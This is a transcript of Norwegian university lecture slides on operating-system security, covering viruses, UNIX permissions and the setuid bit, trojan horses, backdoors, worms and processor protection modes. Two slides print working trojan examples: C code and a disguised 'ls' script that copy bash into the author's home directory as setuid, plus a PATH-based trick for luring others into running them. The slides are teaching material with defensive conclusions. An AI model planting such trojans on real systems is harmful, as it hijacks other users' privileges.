Sikkerhet: Virus Sikkerhet i operativsystemet Maskinstøtte for sikkerhet Trojanske hester Ormer. IN 147 Program og maskinvare.

Transkript

1 Sikkerhet: Virus Sikkerhet i operativsystemet Maskinstøtte for sikkerhet Trojanske hester Ormer Ark 1 av 14 Sikkerhet og virus

2 Virus Virus er programmer som «infiserer» andre programmer slik at de endrer oppførselen. En «livssykel» ser typisk slik ut: Infeksjon En program infiseres ved at dets kode endres, for eksempel slik: j xxx Opprinnelig program Virusprogrammet Opprinnelig startinstruksjon j yyy Sikkerhet og virus Ark 2 av 14

3 Inkubasjonstid Noen virus er aggressive og effekten viser seg raskt. Slike virus oppdages også fort. Andre virus er mer tålmodige og venter i månedsvis før de slår til; noen ganger venter de på en spesiell dato. Slike virus kan rekke å spre seg vidt. Spredning Under inkubasjonstiden vil et virus alltid prøve å smitte andre. Dette kan skje via programfiler og andre filer med eksekverbar kode (f eks Word- eller Excel-filer), disketter, eller nettverket (lokalnettet eller Internettet). Sikkerhet og virus Ark 3 av 14

4 Utbrudd Etter inkubasjonstiden slår viruset til. Effekten kan variere voldsomt: gi en melding på skjermen, be om en «kake», forvirre brukeren ved for eksempel å la skjermen oppføre seg rart, fjerne noen filer, eller ødelegge hele systemet (f eks ved å slette alt på disken). Sikkerhet og virus Ark 4 av 14

5 Beskyttelse mot virus Forsiktighet Man bør være forsiktig med å kjøre programmer av tvilsom opprinnelse. Virusjegere Virusprogrammer er uvurderlige i kampen mot virus, men de kan bare finne kjente virus. Systemsikkerhet De generelle mekanismene som beskytter mot brukersabotasje (eller -feil) hjelper også mot virus. Sikkerhet og virus Ark 5 av 14

6 Sikring Etthvert godt operativsystem må sikres mot innbrudd utenfra, misbruk vis-à-vis andre brukere og forsøk fra brukerne på å ødelegge operativsystemet. Alle former for sikring er basert på at alle brukere er identifisert, operativsystemet vet hva en bruker har lov til, én bruker (root i UNIX) har lov til alt; alle prosesser, filer etc har en angitt eier. Eksempel Kommandoen ls -l forteller om en fils eier og om hvem som har hvilke privilegier: maskin navn> ls -l uke-20.tex -rw-r--r-- 1 dag ifi-a 4511 May 8 14:12 uke-20.tex Sikkerhet og virus Ark 6 av 14

7 Midlertidige rettigheter Dette systemet er imidlertid ikke tilstrekkelig. Ta for eksempel programmet top som viser de mest aktive brukerne av maskinen: last pid: 2929; load averages: 1.44, 1.46, :21: processes: 581 sleeping, 1 running, 4 zombie, 3 stopped, 2 on cpu CPU states: 34.4% idle, 46.5% user, 16.8% kernel, 2.3% iowait, 0.0% swap Memory: 1024M real, 31M free, 733M swap in use, 3668M swap free PID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND root K 2120K run 17: % sshd glennak M 26M sleep 0: % netscape root M 15M sleep 0: % Xsun 847 paulk M 26M sleep 0: % netscape 2926 elinas K 5216K sleep 0: % gs stianb M 21M sleep 0: % netscape 1666 joto M 9512K sleep 0: % emacs grronnin K 7576K sleep 1: % emacs Oversikten er laget utifra «hemmelig» informasjon i operativsystemet. Det er OK, men vi kan ikke gjøre informasjonen tilgjengelig for alle. Sikkerhet og virus Ark 7 av 14

8 Løsningen er å la brukeren få late som om han eller hun er en annen mens programmet kjøres: brukeren får tilgang til nødvendige rettigheter, men rettighetene kan bare brukes i en kontrollert sammenheng. I UNIX er dette løst ved et s-bit i tillegg til r, w og x. maskin navn> ls -l /local/bin/top* -rws--x--x 1 root wheel Dec top Her er s-bit-et satt for eier (som er root), så den som kjører top, blirroot for en kort stund. Sikkerhet og virus Ark 8 av 14

9 «Trojanske hester» For å tilrane seg andres rettigheter, kan man legge inn en trojansk hest i sitt program. Anta at jeg legger inn følgende linjer i min ifish: T = fopen("/hom/dag/troja", "w"); S = fopen("/local/gnu/bin/bash", "r"); c = fgetc(s); while (c!= EOF) { fprintf(t,"%c",c); c = fgetc(s); } fclose(t); fclose(s); chmod("/hom/dag/troja", 04700); Alle som kjører min ifish (f eks gruppelæreren), vil nå legge igjen en trojansk hest på mitt område. Jeg kan da kjøre troja (som er en vanlig kommandotolker) med alle rettigheter som brukeren. Konklusjon Unngå programmer du ikke vet hvor kommer fra. Sjekk systemet jevnlig for trojanske hester. Sikkerhet og virus Ark 9 av 14

10 Andre trojanske hester Lag følgende fil og kall den ls og legg den på området ~/morsomt-spill sammen med et spill du henter fra Internettet: cp /local/gnu/bin/bash ~/troja chmod 4700 ~/troja /usr/ucb/ls $* Fortell så andre om ditt morsomme spill. Noen vil bite på kroken og gjøre cd ~ bruker /morsomt-spill ls Mange vil da ha lagt igjen en trojansk hest. Hvem? Omgivelsesvariabelen PATH forteller hvor vi skal lete etter programmer: maskin navn> printenv PATH /local/x11r5/bin:/local/java/bin:/local/bin: /usr/openwin/bin:/usr/ucb:/usr/bin:/local/gnu/bin:. De som har. før /usr/ucb, har tapt. Konklusjon Ha. sist i PATH selv om det av og til forvirrer uerfarne brukere. Sikkerhet og virus Ark 10 av 14

11 Bakdører Noen programmerere legger inn bakdører for å lette feiltestingen av programmene. Programmet mail Dette programmet tar imot post ved at mail på én maskin kommuniserer med mail på en annen. I testfasen vil programmereren late som om han er den andre datamaskinen. For raskere å kunne teste ting, ble det lagt en bakdør, en mulighet til å kjøre programmer lokalt: ls *.c gjorde at kommandoen «ls *.c» ble kjørt på maskinen, med mails eier som eier av ls-prosessen. Siden tidlige versjoner av mail måtte kjøres som root, fantes det nå en lett vei til å bli root på en annen maskin. Konklusjon Steng alle bakdører når et program er ferdig. Sikkerhet og virus Ark 11 av 14

12 Ormer Et annet udyr er ormer som sprer seg over et nettverk. De skader vanligvis ikke systemet, men kveler det på grunn av stor trafikk. Morris-ormen Verdens mest kjente orm ble laget av studenten Robert Morris og slo til i 1988 og kvalte 60% av verdens Internett-maskiner i løpet av 4 timer. ILOVEYOU-ormen Dette er egentlig en orm men kombinert med et virus (som infiserte systemet til å sende alle nye passord til en nygjerrig mottaker). Sikkerhet og virus Ark 12 av 14

13 Maskinstøtte for beskyttelse (P&H: s ) Når en bruker er logget inn på en maskin; hva hindrer ham eller henne i å omprogrammere operativsystemets beskyttelsesmekanismer? Hurtiglageret (RAM) må beskyttes; brukeren får kun lov å aksessere sin del. Dessuten er tilgangen til perfiert utstyr (disk, nettverk, etc) sperret for brukerne. Visse instruksjoner må sperres for brukere. Dette løses ved å definere to modi: User mode er brukernes modus; ikke alle instruksjoner er tillatt. Supervisor mode er bare for operativsystemet. Brukeren kaller operativsystemet med en egen instruksjon (f eks syscall) som skifter også til systemmodus. Ved retur (f eks med rfe) skifter man tilbake. Alle nyere prosessorer (dvs Intel 386 eller Motorola eller nyere) har slik støtte. Sikkerhet og virus Ark 13 av 14

14 Konklusjon Sikkerhet er viktig! Men det er også brukervennlighet! Jo sikrere et system er, jo mindre brukervennlig er det. Og omvendt. Kunnskap er viktig Ved å vite om de vanligste virus og innbruddsteknikker, kan man beskytte seg mot dem. Vurdering Hvor viktig er sikkerheten? Lag et system som er akkurat så sikkert som det trengs, men ikke mer. Sikkerhet og virus Ark 14 av 14